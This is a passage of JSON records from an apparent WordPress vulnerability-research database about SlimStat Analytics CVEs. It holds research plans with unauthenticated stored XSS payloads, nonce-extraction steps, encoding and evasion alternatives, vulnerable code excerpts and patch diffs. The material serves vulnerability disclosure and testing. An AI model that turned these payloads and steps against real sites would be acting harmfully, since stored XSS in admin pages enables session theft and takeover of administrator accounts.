`browser_eval(\"SlimStatParams.nonce\")`.\n3.  **Send Malicious Tracking Request:**\n    Perform a POST request to the REST API endpoint.\n    *   **URL:** `\u002Fwp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack`\n    *   **Method:** POST\n    *   **Content-Type:** `application\u002Fx-www-form-urlencoded` or `application\u002Fjson`.\n    *   **Parameters:**\n        *   `fh`: `\u003Cscript>alert('CVE-2025-15057_XSS')\u003C\u002Fscript>`\n        *   `ref`: `http:\u002F\u002Fexample.com\u002F` (Base64 encoded if required by the plugin: `aHR0cDovL2V4YW1wbGUuY29tLw==`)\n        *   `res`: `1920x1080`\n        *   `_wpnonce`: `[EXTRACTED_NONCE]`\n\n### Example HTTP Request (via `http_request`):\n```json\n{\n  \"method\": \"POST\",\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fx-www-form-urlencoded\"\n  },\n  \"body\": \"fh=%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E&_wpnonce=[NONCE_VALUE]&url=http%3A%2F%2Flocalhost%3A8080%2F\"\n}\n```\n\n## 6. Test Data Setup\n1.  **Plugin Status:** Ensure `wp-slimstat` is active and version \u003C= 5.3.3.\n2.  **Tracking Settings:** Ensure \"Enable Tracking\" is 'on' (default).\n3.  **Administrator User:** Have an active admin user (standard in PoC environments).\n4.  **Target Page:** No specific shortcode is needed as SlimStat typically tracks all pages, but creating a public page ensures the tracker script and nonce are available.\n\n## 7. Expected Results\n1.  The tracking request returns a `200 OK` or `204 No Content` response.\n2.  The database (table `wp_slim_stats`) now contains a record where the `fingerprint` column holds the `\u003Cscript>` payload.\n3.  When an admin navigates to `\u002Fwp-admin\u002Fadmin.php?page=slimview1`, a JavaScript alert box appearing with the site's domain.\n\n## 8. Verification Steps\n1.  **Database Check:**\n    Use WP-CLI to verify the payload is stored:\n    `wp db query \"SELECT fingerprint FROM wp_slim_stats ORDER BY st_id DESC LIMIT 1;\"`\n2.  **Admin UI Check:**\n    Use `browser_navigate` as an administrator to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=slimview1`.\n    Check for the presence of the alert or inspect the page source for the unescaped payload.\n\n## 9. Alternative Approaches\n*   **Encoding:** If the payload is blocked by simple string matching, try encoding the `fh` parameter or using an `\u003Cimg>` tag with `onerror`.\n*   **AJAX Fallback:** If the REST API is disabled, use the `admin-ajax.php` endpoint:\n    *   **Action:** `slimstat_track`\n    *   **Body:** `action=slimstat_track&fh=\u003Cscript>...\u003C\u002Fscript>&_wpnonce=[NONCE]`\n*   **Referer\u002FURL Parameters:** Some versions of SlimStat also exhibit XSS in the `ref` (referer) or `url` parameters if they are not correctly handled in the \"Recent Referers\" or \"Top Pages\" reports. These can be tested if `fh` fails.","The SlimStat Analytics plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting via the 'fh' (fingerprint) parameter. Malicious scripts injected into this parameter during tracking requests are stored in the database and executed when an administrator views the Real-time Access Log report.","\u002F\u002F wp-slimstat.php (Line 144) - Tracking data intake\npublic static function slimtrack_ajax()\n{\n    \u002F\u002F ... \n    self::$data_js = apply_filters('slimstat_filter_pageview_data_js', self::$raw_post_array);\n    $site_host     = parse_url(get_site_url(), PHP_URL_HOST);\n\n    self::$stat['referer'] = '';\n    if (!empty(self::$data_js['ref'])) {\n        self::$stat['referer'] = self::_base64_url_decode(self::$data_js['ref']);\n\n---\n\n\u002F\u002F admin\u002Fview\u002Fright-now.php (Line 40) - Report data retrieval and loop\nwp_slimstat_db::$debug_message = '';\n$all_results                   = wp_slimstat_db::get_recent(wp_slimstat_reports::$reports['slim_p7_02']['callback_args']);\n\n\u002F\u002F ... \n\n\u002F\u002F Loop through the results for display\nfor ($i = 0; $i \u003C $count_page_results; $i++) {\n    $date_time = \"\u003Ci class='spaced slimstat-font-clock slimstat-tooltip-trigger' title='\" . __('Date and Time', 'wp-slimstat') . \"'>\u003C\u002Fi> \" . date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $results[$i]['dt'], true);\n\n    \u002F\u002F ... (rendering logic follows)","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Fright-now.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fadmin\u002Fview\u002Fright-now.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Fright-now.php\t2025-12-17 11:24:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fadmin\u002Fview\u002Fright-now.php\t2025-12-28 06:28:40.000000000 +0000\n@@ -205,7 +205,7 @@\n         }\n \n         $results[$i]['resource'] = rawurldecode($results[$i]['resource']);\n-        $results[$i]['resource'] = \"\u003Ca class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='\" . htmlentities(__('Open this URL in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . \"' href='\" . htmlentities($results[$i]['resource'], ENT_QUOTES, 'UTF-8') . \"'>\u003C\u002Fa> \u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('resource equals ' . esc_url($results[$i]['resource'])) . \"'>\" . esc_html($resource_title) . '\u003C\u002Fa>';\n+        $results[$i]['resource'] = \"\u003Ca class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='\" . esc_attr(__('Open this URL in a new window', 'wp-slimstat')) . \"' href='\" . esc_url($results[$i]['resource']) . \"'>\u003C\u002Fa> \u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('resource equals ' . $results[$i]['resource']) . \"'>\" . esc_html($resource_title) . '\u003C\u002Fa>';","The exploit is achieved by sending a malicious tracking request as an unauthenticated visitor. \n\n1. First, an attacker retrieves the tracking nonce by visiting the site's frontend and extracting the `extensions.nonce` value from the global `SlimStatParams` JavaScript object.\n2. The attacker then constructs a POST request to the REST API tracking endpoint (`\u002Fwp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack`) or the AJAX endpoint (`admin-ajax.php?action=slimstat_track`). \n3. The payload is placed in the `fh` (fingerprint) parameter, for example: `fh=\u003Cscript>alert(document.domain)\u003C\u002Fscript>`. \n4. When an administrator later logs in and navigates to the 'Access Log' or 'Real-time' report page within the WordPress dashboard, the stored script executes in their browser session, potentially allowing for cookie theft or administrative account takeover.","2026-05-05 13:41:16","2026-05-05 13:41:42",{"id":137,"url_slug":138,"title":139,"description":140,"plugin_slug":4,"theme_slug":39,"affected_versions":141,"patched_in_version":142,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":143,"updated_date":125,"references":144,"days_to_patch":49,"patch_diff_files":146,"patch_trac_url":39,"research_status":53,"research_verified":54,"research_rounds_completed":55,"research_plan":147,"research_summary":148,"research_vulnerable_code":149,"research_fix_diff":150,"research_exploit_outline":151,"research_model_used":60,"research_started_at":152,"research_completed_at":153,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-15055","slimstat-analytics-unauthenticated-stored-cross-site-scripting-via-notesresource-parameters","SlimStat Analytics \u003C= 5.3.4 - Unauthenticated Stored Cross-Site Scripting via 'notes\u002Fresource' Parameters","The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'notes' and 'resource' parameters in all versions up to, and including, 5.3.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the Recent Custom Events report.","\u003C=5.3.4","5.3.5","2026-01-08 17:59:23",[145],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fafbfabfc-b923-4fe9-9e8f-0cf159f488db?source=api-prod",[51,108,79,80,82],"This research plan outlines the steps for demonstrating the unauthenticated stored cross-site scripting (XSS) vulnerability in SlimStat Analytics (CVE-2025-15055).\n\n## 1. Vulnerability Summary\nSlimStat Analytics (versions \u003C= 5.3.4) fails to sufficiently sanitize and escape the `notes` and `resource` parameters when processing tracking requests. These parameters are stored in the database (typically in the `wp_slim_events` table) and later rendered without proper output neutralization in the **Recent Custom Events** report within the WordPress admin dashboard. This allows an unauthenticated attacker to inject malicious JavaScript that executes when an administrator views the report.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php` (for AJAX-based tracking) or `wp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack` (for REST-based tracking).\n*   **Action:** `slimstat_tracking` (the primary tracking action).\n*   **Vulnerable Parameters:** `notes` and `resource`.\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** The plugin must be active and tracking must be enabled (default behavior).\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated visitor (or bot) sends a request to `admin-ajax.php?action=slimstat_tracking`.\n2.  **Processing:** In `wp-slimstat.php`, `slimtrack_ajax()` is called. It retrieves data from `self::$raw_post_array`. \n3.  **Storage:** The tracking logic (likely within `src\u002Fwp-slimstat-db.php` or a similar provider) processes the parameters. If `notes` or `resource` (often mapped to `no` and `re` in the payload) are present, they are stored in the events table.\n4.  **Retrieval:** An administrator navigates to the **Recent Custom Events** report (`wp-admin\u002Fadmin.php?page=slimview1` or similar).\n5.  **Sink:** The report logic in `admin\u002Fview\u002Fwp-slimstat-reports.php` (potentially using a callback like `show_recent_events`) fetches the data from the database and echoes the `notes` and `resource` values directly into the HTML table without applying `esc_html()` or `wp_kses()`.\n\n## 4. Nonce Acquisition Strategy\nSlimStat Analytics generally allows unauthenticated tracking without a strict nonce to ensure compatibility with caching plugins and various tracking environments. However, if a nonce is required by the specific version\u002Fconfiguration, it is localized in the front-end.\n\n**Strategy:**\n1.  Navigate to the homepage.\n2.  Search for the JavaScript variable `SlimStatParams`.\n3.  Extract the nonce if it exists.\n\n**Browser Eval Command:**\n```javascript\n\u002F\u002F Check for standard localization variable\nwindow.SlimStatParams?.nonce || window.SlimStatParams?.extensions?.nonce || \"\";\n```\n\n## 5. Exploitation Strategy\nThe goal is to send a \"Custom Event\" tracking request containing the XSS payload. SlimStat usually expects events to have at least a category and an action.\n\n**HTTP Request (AJAX Method):**\n*   **URL:** `{{BASE_URL}}\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```text\n    action=slimstat_tracking\n    &ca=TestCategory\n    &ac=TestAction\n    &notes=\u003Cscript>alert('XSS_NOTES')\u003C\u002Fscript>\n    &resource=\u003Cimg src=x onerror=alert('XSS_RESOURCE')>\n    ```\n\n**Alternative (REST API Method):**\n*   **URL:** `{{BASE_URL}}\u002Fwp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fjson`\n*   **Body:**\n    ```json\n    {\n      \"category\": \"TestCategory\",\n      \"action\": \"TestAction\",\n      \"notes\": \"\u003Cscript>alert('XSS_NOTES')\u003C\u002Fscript>\",\n      \"resource\": \"\u003Cimg src=x onerror=alert('XSS_RESOURCE')>\"\n    }\n    ```\n\n## 6. Test Data Setup\n1.  **Plugin Installation:** Ensure `wp-slimstat` version 5.3.4 is installed and activated.\n2.  **Configuration:** Verify \"Enable Tracking\" is 'on' in **SlimStat > Settings > Tracker**.\n3.  **Report Access:** Note that the \"Recent Custom Events\" report may need to be added to the dashboard view if not present by default. It is usually found under **SlimStat > Reports**.\n\n## 7. Expected Results\n1.  The tracking request should return a `200 OK` or `204 No Content` response.\n2.  The database table (likely `wp_slim_events`) should contain a new row with the `notes` and `resource` payloads.\n3.  When an administrator visits the SlimStat reports page, an alert box with `XSS_NOTES` or `XSS_RESOURCE` should appear.\n\n## 8. Verification Steps\nAfter sending the exploit request, verify the storage via WP-CLI:\n\n```bash\n# Check if the event was recorded in the events table\nwp db query \"SELECT notes, resource FROM $(wp db prefix)slim_events WHERE notes LIKE '%XSS%';\"\n\n# Check if the event was recorded in the main stats table (if events are stored there in some versions)\nwp db query \"SELECT * FROM $(wp db prefix)slim_stats WHERE notes LIKE '%XSS%';\"\n```\n\nTo verify execution, use the `browser_navigate` tool to go to the SlimStat Reports page and check for the presence of the script:\n```bash\n# Navigate to the reports page\n# Then search for the payload in the DOM\nbrowser_eval \"document.body.innerHTML.includes('XSS_NOTES')\"\n```\n\n## 9. Alternative Approaches\nIf the top-level parameters `notes` and `resource` fail, try the abbreviated keys often used by the tracker script:\n*   `no` = notes\n*   `re` = resource\n*   `ca` = category\n*   `ac` = action\n\nAdditionally, some versions of SlimStat expect the payload to be a base64-encoded JSON string in a `data` parameter:\n```text\naction=slimstat_tracking&data=eyJyZXNvdXJjZSI6ICI8c2NyaXB0PmFsZXJ0KCdYU1NfUkVTT1VSQ0UnKTwvc2NyaXB0PiIsICJub3RlcyI6ICI8c2NyaXB0PmFsZXJ0KCdYU1NfTk9URVMnKTwvc2NyaXB0In0=\n```","The SlimStat Analytics plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via the 'notes' and 'resource' parameters. This occurs because tracking requests containing malicious scripts are stored in the database without sufficient sanitization and later rendered in administrative reports without proper output escaping.","\u002F\u002F admin\u002Fview\u002Fwp-slimstat-reports.php line 1455\nforeach ($results as $a_result) {\n    echo \"\u003Cp class='slimstat-tooltip-trigger'>\" . $a_result[ 'notes' ];\n\n    if (!empty($a_result['counthits'])) {\n        echo sprintf('\u003Cspan>%s\u003C\u002Fspan>', $a_result[ 'counthits' ]);\n    }\n\n    if (!empty($a_result['dt'])) {\n        $date_time = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $a_result['dt'], true);\n        echo '\u003Cb class=\"slimstat-tooltip-content\">' . __('IP', 'wp-slimstat') . ': ' . $a_result['ip'] . '\u003Cbr\u002F>' . __('Page', 'wp-slimstat') . sprintf(\": \u003Ca href='%s%s'>%s%s\u003C\u002Fa>\u003Cbr>\", $blog_url, $a_result[ 'resource' ], $blog_url, $a_result[ 'resource' ]) . __('Coordinates', 'wp-slimstat') . sprintf(': %s\u003Cbr>', $a_result[ 'position' ]) . __('Date', 'wp-slimstat') . (': ' . $date_time);\n    }\n\n---\n\n\u002F\u002F wp-slimstat.php line 1002\ncase 'post_link_no_qs':\n    $post_id = url_to_postid($a_result['resource']);\n    if ($post_id > 0) {\n        $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>\", $a_result[ 'resource' ]) . get_the_title($post_id) . '\u003C\u002Fa>';\n    } else {\n        $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>%s\u003C\u002Fa>\", $a_result[ 'resource' ], $a_result[ 'resource' ]);\n    }\n    break;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\t2025-12-17 11:24:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\t2025-12-31 08:45:54.000000000 +0000\n@@ -1455,15 +1455,15 @@\n         }\n \n         foreach ($results as $a_result) {\n-            echo \"\u003Cp class='slimstat-tooltip-trigger'>\" . $a_result[ 'notes' ];\n+            echo \"\u003Cp class='slimstat-tooltip-trigger'>\" . esc_html( $a_result[ 'notes' ] );\n \n             if (!empty($a_result['counthits'])) {\n-                echo sprintf('\u003Cspan>%s\u003C\u002Fspan>', $a_result[ 'counthits' ]);\n+                echo sprintf('\u003Cspan>%s\u003C\u002Fspan>', esc_html( $a_result[ 'counthits' ] ));\n             }\n \n             if (!empty($a_result['dt'])) {\n                 $date_time = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $a_result['dt'], true);\n-                echo '\u003Cb class=\"slimstat-tooltip-content\">' . __('IP', 'wp-slimstat') . ': ' . $a_result['ip'] . '\u003Cbr\u002F>' . __('Page', 'wp-slimstat') . sprintf(\": \u003Ca href='%s%s'>%s%s\u003C\u002Fa>\u003Cbr>\", $blog_url, $a_result[ 'resource' ], $blog_url, $a_result[ 'resource' ]) . __('Coordinates', 'wp-slimstat') . sprintf(': %s\u003Cbr>', $a_result[ 'position' ]) . __('Date', 'wp-slimstat') . (': ' . $date_time);\n+                echo '\u003Cb class=\"slimstat-tooltip-content\">' . __('IP', 'wp-slimstat') . ': ' . esc_html( $a_result['ip'] ) . '\u003Cbr\u002F>' . __('Page', 'wp-slimstat') . sprintf(\": \u003Ca href='%s'>%s\u003C\u002Fa>\u003Cbr>\", esc_url( $blog_url . $a_result[ 'resource' ] ), esc_html( $blog_url . $a_result[ 'resource' ] )) . __('Coordinates', 'wp-slimstat') . sprintf(': %s\u003Cbr>', esc_html( $a_result[ 'position' ] )) . __('Date', 'wp-slimstat') . (': ' . $date_time);\n             }\n \n             echo '\u003C\u002Fb>\u003C\u002Fp>';\n@@ -1514,7 +1514,7 @@\n                 $a_result['counthits'] = 0;\n             }\n \n-            $a_result['resource'] = \"\u003Ca class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='\" . htmlentities(__('Open this URL in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . \"' href='\" . htmlentities($a_result['resource'], ENT_QUOTES, 'UTF-8') . \"'>\u003C\u002Fa> \u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('resource equals ' . htmlentities($a_result['resource'], ENT_QUOTES, 'UTF-8')) . \"'>\" . self::get_resource_title($a_result['resource']) . '\u003C\u002Fa>';\n+            $a_result['resource'] = \"\u003Ca class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='\" . esc_attr(__('Open this URL in a new window', 'wp-slimstat')) . \"' href='\" . esc_url($a_result['resource']) . \"'>\u003C\u002Fa> \u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('resource equals ' . $a_result['resource']) . \"'>\" . self::get_resource_title($a_result['resource']) . '\u003C\u002Fa>';\n \n             $group_markup = [];\n             if (!empty($a_result['column_group'])) {\n@@ -1523,14 +1523,14 @@\n                 foreach ($exploded_group as $a_item) {\n                     $user = get_user_by('login', $a_item);\n                     if ($user) {\n-                        $group_markup[] = '\u003Ca class=\"slimstat-filter-link\" title=\"' . __('Filter by element in a group', 'wp-slimstat') . '\" href=\"' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '\">' . get_avatar($user->ID, 16) . $user->display_name . '\u003C\u002Fa>';\n+                        $group_markup[] = '\u003Ca class=\"slimstat-filter-link\" title=\"' . esc_attr(__('Filter by element in a group', 'wp-slimstat')) . '\" href=\"' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '\">' . get_avatar($user->ID, 16) . esc_html( $user->display_name ) . '\u003C\u002Fa>';\n                     } else {\n-                        $group_markup[] = '\u003Ca class=\"slimstat-filter-link\" title=\"' . __('Filter by element in a group', 'wp-slimstat') . '\" href=\"' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '\">' . $a_item . '\u003C\u002Fa>';\n+                        $group_markup[] = '\u003Ca class=\"slimstat-filter-link\" title=\"' . esc_attr(__('Filter by element in a group', 'wp-slimstat')) . '\" href=\"' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '\">' . esc_html( $a_item ) . '\u003C\u002Fa>';\n                     }\n                 }\n             }\n \n-            echo sprintf('\u003Cp>%s \u003Cspan>%s\u003C\u002Fspan>\u003Cbr\u002F>', $a_result[ 'resource' ], $a_result[ 'counthits' ]) . implode(', ', $group_markup) . '\u003C\u002Fp>';\n+            echo sprintf('\u003Cp>%s \u003Cspan>%s\u003C\u002Fspan>\u003Cbr\u002F>', $a_result[ 'resource' ], esc_html( $a_result[ 'counthits' ] )) . implode(', ', $group_markup) . '\u003C\u002Fp>';\n         }\n \n         if (! defined('DOING_AJAX') || ! DOING_AJAX) {\n@@ -1944,7 +1944,7 @@\n             }\n \n             if ([] !== $term_names) {\n-                self::$resource_titles[$cache_index] = implode(',', $term_names);\n+                self::$resource_titles[$cache_index] = esc_html( implode(',', $term_names) );\n             } else {\n                 self::$resource_titles[$cache_index] = htmlspecialchars(self::$resource_titles[$cache_index], ENT_QUOTES, 'UTF-8');\n             }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fwp-slimstat.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fwp-slimstat.php\t2025-12-28 06:28:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.php\t2025-12-31 08:45:54.000000000 +0000\n@@ -999,9 +999,9 @@\n                             case 'post_link_no_qs':\n                                 $post_id = url_to_postid($a_result['resource']);\n                                 if ($post_id > 0) {\n-                                    $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>\", $a_result[ 'resource' ]) . get_the_title($post_id) . '\u003C\u002Fa>';\n+                                    $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>\", esc_url( $a_result[ 'resource' ] )) . esc_html( get_the_title($post_id) ) . '\u003C\u002Fa>';\n                                 } else {\n-                                    $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>%s\u003C\u002Fa>\", $a_result[ 'resource' ], $a_result[ 'resource' ]);\n+                                    $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>%s\u003C\u002Fa>\", esc_url( $a_result[ 'resource' ] ), esc_html( $a_result[ 'resource' ] ));\n                                 }\n                                 break;","An unauthenticated attacker can exploit this vulnerability by sending a tracking request (via Admin-AJAX or the REST API) that includes a malicious XSS payload in the 'notes' or 'resource' parameters. The payload is typically supplied using the action 'slimstat_tracking' with parameters like 'notes' (or 'no') and 'resource' (or 're'). Because the plugin stores these values raw in the database, the payload will execute as arbitrary JavaScript in the context of an administrator's browser when they subsequently view the 'Recent Custom Events' or 'Access Log' reports in the WordPress admin dashboard.","2026-05-05 13:42:09","2026-05-05 13:42:53",{"id":155,"url_slug":156,"title":157,"description":158,"plugin_slug":4,"theme_slug":39,"affected_versions":95,"patched_in_version":96,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":159,"updated_date":160,"references":161,"days_to_patch":163,"patch_diff_files":164,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-14151","slimstat-analytics-unauthenticated-stored-cross-site-scripting-2","SlimStat Analytics \u003C= 5.3.2 - Unauthenticated Stored Cross-Site Scripting","The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'outbound_resource' parameter in the slimtrack AJAX action in all versions up to, and including, 5.3.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","2025-12-18 20:00:46","2026-01-05 14:53:53",[162],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6ee675dd-5b43-439f-9717-6c531e9bf066?source=api-prod",18,[],{"id":166,"url_slug":167,"title":168,"description":169,"plugin_slug":4,"theme_slug":39,"affected_versions":170,"patched_in_version":171,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":172,"updated_date":173,"references":174,"days_to_patch":49,"patch_diff_files":176,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2024-9548","slimstat-analytics-unauthenticated-stored-cross-site-scripting-3","Slimstat Analytics \u003C= 5.2.6 - Unauthenticated Stored Cross-Site Scripting","The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the resource parameter in all versions up to, and including, 5.2.6 due to insufficient input sanitization and output escaping when logging visitor requests. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=5.2.6","5.2.7","2024-10-14 10:42:50","2024-10-14 23:29:56",[175],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffa91912d-5794-4c96-8a13-bd54ce0f1deb?source=api-prod",[],{"id":178,"url_slug":179,"title":180,"description":181,"plugin_slug":4,"theme_slug":39,"affected_versions":182,"patched_in_version":183,"severity":70,"cvss_score":184,"cvss_vector":185,"vuln_type":45,"published_date":186,"updated_date":187,"references":188,"days_to_patch":190,"patch_diff_files":191,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2024-1073","slimstat-analytics-authenticated-subscriber-stored-cross-site-scripting","SlimStat Analytics \u003C= 5.1.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting","The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'filter_array' parameter in all versions up to, and including, 5.1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=5.1.3","5.1.4",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2024-02-01 00:00:00","2024-02-02 16:24:01",[189],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F33cba63c-4629-48fd-850f-f68dad626a67?source=api-prod",2,[],{"id":193,"url_slug":194,"title":195,"description":196,"plugin_slug":4,"theme_slug":39,"affected_versions":197,"patched_in_version":198,"severity":42,"cvss_score":199,"cvss_vector":200,"vuln_type":73,"published_date":201,"updated_date":202,"references":203,"days_to_patch":205,"patch_diff_files":206,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2023-4598","slimstat-analytics-authenticated-contributor-blind-sql-injection-via-shortcode","Slimstat Analytics \u003C= 5.0.9 - Authenticated (Contributor+) Blind SQL Injection via Shortcode","The Slimstat Analytics plugin for WordPress is vulnerable to SQL Injection via the plugin's shortcode in versions up to, and including, 5.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with contributor-level and above permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","\u003C=5.0.9","5.0.10",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","2023-09-11 00:00:00","2024-01-22 